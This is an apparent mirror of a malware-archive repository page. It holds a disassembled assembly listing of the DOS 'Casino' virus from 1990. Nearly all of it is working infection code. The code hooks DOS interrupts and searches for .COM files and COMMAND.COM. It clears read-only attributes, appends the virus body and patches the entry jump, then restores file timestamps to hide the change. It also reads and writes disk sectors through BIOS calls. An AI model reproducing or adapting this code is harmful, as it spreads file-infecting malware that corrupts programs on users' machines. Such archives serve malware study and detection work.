mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
1429 lines
30 KiB
NASM
1429 lines
30 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ CASINO ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 31-Aug-90 ÛÛ
|
|
;ÛÛ Version: ÛÛ
|
|
;ÛÛ Passes: 9 Analysis Options on: H ÛÛ
|
|
;ÛÛ Copyright S & S International, 1990 ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
data_1e equ 60Ch ; (0000:060C=0)
|
|
data_2e equ 60Dh ; (0000:060D=0)
|
|
data_3e equ 60Eh ; (0000:060E=0)
|
|
data_4e equ 60Fh ; (0000:060F=0)
|
|
data_5e equ 610h ; (0000:0610=0)
|
|
data_6e equ 611h ; (0000:0611=0)
|
|
data_7e equ 612h ; (0000:0612=0)
|
|
data_8e equ 2 ; (6AE6:0002=0)
|
|
data_10e equ 3Bh ; (6AE6:003B=0)
|
|
data_11e equ 3Dh ; (6AE6:003D=0)
|
|
data_12e equ 3Fh ; (6AE6:003F=0)
|
|
data_13e equ 40h ; (6AE6:0040=0)
|
|
data_14e equ 41h ; (6AE6:0041=0)
|
|
data_15e equ 43h ; (6AE6:0043=6AE6h)
|
|
data_16e equ 45h ; (6AE6:0045=0)
|
|
data_17e equ 47h ; (6AE6:0047=6AE6h)
|
|
data_18e equ 4Dh ; (6AE6:004D=0)
|
|
data_19e equ 68h ; (6AE6:0068=0)
|
|
data_20e equ 7Eh ; (6AE6:007E=0)
|
|
data_21e equ 80h ; (6AE6:0080=0)
|
|
data_33e equ 716Eh ; (6AE6:716E=0)
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
casino proc far
|
|
|
|
start:
|
|
nop
|
|
data_23 db 0E9h
|
|
data_24 db 48h
|
|
data_25 db 7, 'ello - Copyright S & S Intern'
|
|
db 'ational, 1990', 0Ah, 0Dh, '$'
|
|
db 1Ah
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AA'
|
|
db 0E6h
|
|
db 'jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
|
|
|
|
casino endp
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;
|
|
; External Entry Point
|
|
;
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
int_24h_entry proc far
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
inc cx
|
|
mov ah,9
|
|
mov dx,offset data_25 ; (6AE6:0103=7)
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
int 20h ; Program Terminate
|
|
db 0, 0, 0, 0, 0, 0Fh
|
|
db 0, 0, 0E9h, 0D3h, 1, 0E9h
|
|
db 0, 0, 0, 90h, 0E9h, 78h
|
|
db 2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh
|
|
db 0
|
|
db 'C:\COMMAND.COM'
|
|
db 0, 43h, 4Fh, 4Dh, 4Dh, 41h
|
|
db 4Eh, 44h, 0FFh
|
|
db 2Eh, 43h, 4Fh, 4Dh
|
|
db 15 dup (0)
|
|
db 3Fh, 0, 0F0h, 3, 2, 0
|
|
db 0B3h, 4Bh, 0FCh, 91h, 56h, 5
|
|
db 79h, 10h, 0, 0, 0, 0
|
|
db 0, 3
|
|
db 8 dup (3Fh)
|
|
db 43h, 4Fh, 4Dh, 3Fh, 8, 0
|
|
db 1Eh, 2, 2Eh, 8Bh, 26h, 68h
|
|
db 20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h
|
|
db 3, 0, 0
|
|
db 'H1000.COM'
|
|
db 9 dup (0)
|
|
db 1Fh, 15h, 0A9h, 8Eh, 90h, 90h
|
|
db 3Dh, 59h, 4Bh, 75h, 4, 0B8h
|
|
db 66h, 6, 0CFh, 80h, 0FCh, 11h
|
|
db 74h, 8, 80h, 0FCh, 12h, 74h
|
|
db 3, 0EBh, 51h, 90h
|
|
loc_2:
|
|
cmp al,66h ; 'f'
|
|
je loc_4 ; Jump if equal
|
|
mov al,66h ; 'f'
|
|
int 21h ; DOS Services ah=function 09h
|
|
; display char string at ds:dx
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push es
|
|
mov ah,2Fh ; '/'
|
|
int 21h ; DOS Services ah=function 2Fh
|
|
; get DTA ptr into es:bx
|
|
mov al,es:[bx+10h]
|
|
cmp al,43h ; 'C'
|
|
jne loc_3 ; Jump if not equal
|
|
mov al,es:[bx+11h]
|
|
cmp al,4Fh ; 'O'
|
|
jne loc_3 ; Jump if not equal
|
|
mov al,es:[bx+12h]
|
|
cmp al,4Dh ; 'M'
|
|
jne loc_3 ; Jump if not equal
|
|
mov ax,es:[bx+24h]
|
|
cmp ax,91Ah
|
|
jb loc_3 ; Jump if below
|
|
sub ax,91Ah
|
|
mov cx,ax
|
|
push cx
|
|
mov cx,10h
|
|
mov dx,0
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
pop cx
|
|
cmp dx,0
|
|
jne loc_3 ; Jump if not equal
|
|
mov es:[bx+24h],cx
|
|
loc_3:
|
|
pop es
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
iret ; Interrupt return
|
|
int_24h_entry endp
|
|
|
|
loc_4:
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push bp
|
|
push ds
|
|
push es
|
|
mov bx,cs
|
|
mov ds,bx
|
|
mov al,0
|
|
mov ds:data_18e,al ; (6AE6:004D=0)
|
|
mov al,ds:data_13e ; (6AE6:0040=0)
|
|
cmp al,0FFh
|
|
jne loc_5 ; Jump if not equal
|
|
jmp loc_15 ; (06B2)
|
|
loc_5:
|
|
mov al,0FFh
|
|
mov ds:data_13e,al ; (6AE6:0040=0)
|
|
cmp ah,4Bh ; 'K'
|
|
je loc_6 ; Jump if equal
|
|
cmp ah,36h ; '6'
|
|
je loc_7 ; Jump if equal
|
|
jmp loc_15 ; (06B2)
|
|
loc_6:
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov ds:data_12e,al ; (6AE6:003F=0)
|
|
jmp short loc_8 ; (0624)
|
|
db 90h
|
|
loc_7:
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov ds:data_12e,al ; (6AE6:003F=0)
|
|
cmp dl,0
|
|
je loc_8 ; Jump if equal
|
|
dec dl
|
|
mov ah,0Eh
|
|
int 21h ; DOS Services ah=function 0Eh
|
|
; set default drive dl (0=a:)
|
|
loc_8:
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
cmp al,1
|
|
ja loc_9 ; Jump if above
|
|
mov ch,0
|
|
push ds
|
|
pop es
|
|
mov bx,917h
|
|
mov al,1
|
|
call sub_3 ; (07DB)
|
|
mov al,1
|
|
call sub_4 ; (07EC)
|
|
cmp ah,0
|
|
je loc_9 ; Jump if equal
|
|
jmp short loc_14 ; (069C)
|
|
db 90h
|
|
loc_9:
|
|
mov ah,2Fh ; '/'
|
|
int 21h ; DOS Services ah=function 2Fh
|
|
; get DTA ptr into es:bx
|
|
mov ds:data_14e,bx ; (6AE6:0041=0)
|
|
mov ds:data_15e,es ; (6AE6:0043=6AE6h)
|
|
mov dx,4Eh
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
mov dx,0Bh
|
|
mov cx,3Fh
|
|
mov ah,4Eh ; 'N'
|
|
int 21h ; DOS Services ah=function 4Eh
|
|
; find 1st filenam match @ds:dx
|
|
jc loc_14 ; Jump if carry Set
|
|
mov dx,6Ch
|
|
call sub_1 ; (06EE)
|
|
cmp dl,1
|
|
jne loc_10 ; Jump if not equal
|
|
call sub_2 ; (073C)
|
|
jmp short loc_14 ; (069C)
|
|
db 90h
|
|
loc_10:
|
|
cmp dl,3
|
|
je loc_11 ; Jump if equal
|
|
jmp short loc_14 ; (069C)
|
|
db 90h
|
|
loc_11:
|
|
mov ah,4Fh ; 'O'
|
|
int 21h ; DOS Services ah=function 4Fh
|
|
; find next filename match
|
|
jnc loc_12 ; Jump if carry=0
|
|
jmp short loc_14 ; (069C)
|
|
db 90h
|
|
loc_12:
|
|
mov dx,6Ch
|
|
call sub_1 ; (06EE)
|
|
cmp dl,1
|
|
jne loc_13 ; Jump if not equal
|
|
call sub_2 ; (073C)
|
|
jmp short loc_14 ; (069C)
|
|
db 90h
|
|
loc_13:
|
|
cmp dl,3
|
|
je loc_11 ; Jump if equal
|
|
loc_14:
|
|
mov dl,ds:data_12e ; (6AE6:003F=0)
|
|
mov ah,0Eh
|
|
int 21h ; DOS Services ah=function 0Eh
|
|
; set default drive dl (0=a:)
|
|
mov dx,ds:data_14e ; (6AE6:0041=0)
|
|
mov bx,ds:data_15e ; (6AE6:0043=6AE6h)
|
|
mov ds,bx
|
|
mov ah,1Ah
|
|
int 21h ; DOS Services ah=function 1Ah
|
|
; set DTA to ds:dx
|
|
loc_15:
|
|
mov ah,0
|
|
mov ds:data_13e,ah ; (6AE6:0040=0)
|
|
pop es
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
;* jmp far ptr loc_1 ;*(0273:1460)
|
|
db 0EAh, 60h, 14h, 73h, 2
|
|
db 8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh
|
|
db 0DAh, 0BAh, 20h, 0, 0B4h, 41h
|
|
db 0CDh, 21h, 0B8h, 21h, 35h, 0CDh
|
|
db 21h, 8Ch, 6, 0D4h, 1, 89h
|
|
db 1Eh, 0D2h, 1, 0BAh, 82h, 0
|
|
db 0B8h, 21h, 25h, 0CDh, 21h, 0BAh
|
|
db 1Bh, 0Ch, 0CDh
|
|
db 27h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_1 proc near
|
|
mov ax,ds:data_19e ; (6AE6:0068=0)
|
|
cmp ax,0F5B9h
|
|
ja loc_20 ; Jump if above
|
|
mov ax,4300h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
test cl,4
|
|
jnz loc_20 ; Jump if not zero
|
|
test cl,1
|
|
jz loc_16 ; Jump if zero
|
|
and cl,0FEh
|
|
mov ax,4301h
|
|
int 21h ; DOS Services ah=function 43h
|
|
; get/set file attrb, nam@ds:dx
|
|
loc_16:
|
|
mov ax,3D02h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
mov bx,ax
|
|
mov dx,3
|
|
mov cx,1
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
jnc loc_17 ; Jump if carry=0
|
|
jmp short loc_19 ; (0732)
|
|
db 90h
|
|
loc_17:
|
|
cmp ax,0
|
|
jne loc_18 ; Jump if not equal
|
|
jmp short loc_19 ; (0732)
|
|
db 90h
|
|
loc_18:
|
|
mov al,byte ptr ds:data_8e+1 ; (6AE6:0003=0)
|
|
cmp al,90h
|
|
jne loc_21 ; Jump if not equal
|
|
loc_19:
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
loc_20:
|
|
mov dl,3
|
|
retn
|
|
loc_21:
|
|
mov dl,1
|
|
retn
|
|
sub_1 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
mov ax,5700h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ds:data_20e,dx ; (6AE6:007E=0)
|
|
mov ds:data_21e,cx ; (6AE6:0080=0)
|
|
push bx
|
|
call sub_5 ; (07FD)
|
|
mov bx,68h
|
|
mov ax,[bx]
|
|
mov dx,0
|
|
mov bx,10h
|
|
div bx ; ax,dx rem=dx:ax/reg
|
|
inc ax
|
|
mov ds:data_10e,ax ; (6AE6:003B=0)
|
|
mul bx ; dx:ax = reg * ax
|
|
mov ds:data_11e,ax ; (6AE6:003D=0)
|
|
pop bx
|
|
mov cx,ds:data_10e ; (6AE6:003B=0)
|
|
mov si,35Fh
|
|
mov [si],cx
|
|
mov cx,0
|
|
mov dx,0
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,605h
|
|
mov cx,4
|
|
mov ah,3Fh ; '?'
|
|
int 21h ; DOS Services ah=function 3Fh
|
|
; read file, cx=bytes, to ds:dx
|
|
mov cx,0
|
|
mov dx,ds:data_11e ; (6AE6:003D=0)
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov dx,0
|
|
mov cx,91Ah
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
cmp ax,cx
|
|
jb loc_22 ; Jump if below
|
|
mov al,ds:data_18e ; (6AE6:004D=0)
|
|
cmp al,1
|
|
je loc_22 ; Jump if equal
|
|
mov cx,0
|
|
mov dx,0
|
|
mov ax,4200h
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, cx,dx=offset
|
|
mov si,9
|
|
mov ax,ds:data_11e ; (6AE6:003D=0)
|
|
add ax,35Ch
|
|
sub ax,4
|
|
mov [si],ax
|
|
mov dx,7
|
|
mov cx,4
|
|
mov ah,40h ; '@'
|
|
int 21h ; DOS Services ah=function 40h
|
|
; write file cx=bytes, to ds:dx
|
|
loc_22:
|
|
mov dx,ds:data_20e ; (6AE6:007E=0)
|
|
mov cx,ds:data_21e ; (6AE6:0080=0)
|
|
mov ax,5701h
|
|
int 21h ; DOS Services ah=function 57h
|
|
; get/set file date & time
|
|
mov ah,3Eh ; '>'
|
|
int 21h ; DOS Services ah=function 3Eh
|
|
; close file, bx=file handle
|
|
call sub_6 ; (0813)
|
|
retn
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
push ax
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov dl,al
|
|
pop ax
|
|
mov dh,0
|
|
mov cl,1
|
|
mov ah,2
|
|
int 13h ; Disk dl=drive #: ah=func b2h
|
|
; read sectors to memory es:bx
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
push ax
|
|
mov ah,19h
|
|
int 21h ; DOS Services ah=function 19h
|
|
; get default drive al (0=a:)
|
|
mov dl,al
|
|
pop ax
|
|
mov dh,0
|
|
mov cl,1
|
|
mov ah,3
|
|
int 13h ; Disk dl=drive #: ah=func b3h
|
|
; write sectors from mem es:bx
|
|
retn
|
|
sub_4 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
mov ax,3524h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ds:data_16e,bx ; (6AE6:0045=0)
|
|
mov ds:data_17e,es ; (6AE6:0047=6AE6h)
|
|
mov dx,335h
|
|
mov ax,2524h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
mov dx,ds:data_16e ; (6AE6:0045=0)
|
|
mov cx,ds:data_17e ; (6AE6:0047=6AE6h)
|
|
push ds
|
|
push cx
|
|
pop ds
|
|
mov ax,2524h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
pop ds
|
|
retn
|
|
sub_6 endp
|
|
|
|
db 50h, 53h, 51h, 52h, 1Eh, 6
|
|
db 0B4h, 0, 0CDh, 13h, 0B4h, 1
|
|
db 88h, 26h, 4Dh, 0, 0BFh, 0FFh
|
|
db 0FFh, 8Eh, 6, 49h, 0, 8Bh
|
|
db 1Eh, 4Bh, 0, 0B0h, 0, 26h
|
|
db 88h, 7, 7, 1Fh, 5Ah, 59h
|
|
db 5Bh, 58h, 0CFh, 8Ch, 0CAh, 0B9h
|
|
db 3Fh, 0, 3, 0D1h, 83h, 0C2h
|
|
db 10h, 8Eh, 0DAh, 0A1h, 3Dh, 0
|
|
db 5, 3, 6, 0BBh, 0FEh, 0FFh
|
|
db 2Bh, 0D8h, 89h, 1Eh, 3, 6
|
|
db 0BBh, 5, 6, 8Ah, 7, 2Eh
|
|
db 0A2h, 0, 1, 43h, 8Ah, 7
|
|
db 2Eh, 0A2h, 1, 1, 43h, 8Ah
|
|
db 7, 2Eh, 0A2h, 2, 1, 43h
|
|
db 8Ah, 7, 2Eh, 0A2h, 3, 1
|
|
